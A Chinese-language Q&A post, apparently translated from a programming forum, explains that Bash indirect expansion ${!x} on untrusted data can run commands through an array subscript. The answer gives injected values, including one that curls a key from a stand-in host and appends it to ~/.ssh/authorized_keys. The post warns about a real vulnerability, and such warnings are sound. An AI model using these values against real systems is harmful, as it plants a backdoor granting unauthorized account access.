假设我有一个变量,x
,包含未知的任意数据。
以下间接扩展是否存在代码注入或其他形式漏洞的风险?
ARBITRARY_COMMAND "${!x}"
我知道有些情况下,为有用的现实生活场景分配x
的方式本身可能会带来风险,需要进行适当的控制或消毒,但我在此假设x
有已初始化的方式不能保证其价值,但不会暴露于上述扩展的漏洞利用。
答案 0 :(得分:2)
简而言之:是的,任何未知数据的自动扩展都有潜在危险。
通过gniourf_gniourf回答:
x='a[$(ls>&2)]'
展开
${!x}
时,Bash将展开${a[$(ls>&2)]}
,这是一个 数组扩展,所以数组键内的术语,即$(ls>&2)
, 将被扩展...这将执行ls
(输出到stderr所以 我们都可以观察到ls确实被执行了。
例如,您可以代替ls
:
x='a[$(curl -s bad.us/pubkey >> ~/.ssh/authorized_keys)]'
当${!x}
评估时,会向您的authorized_keys文件追加一个可能不友好的公钥,这可能会让不友好的人进入您的帐户。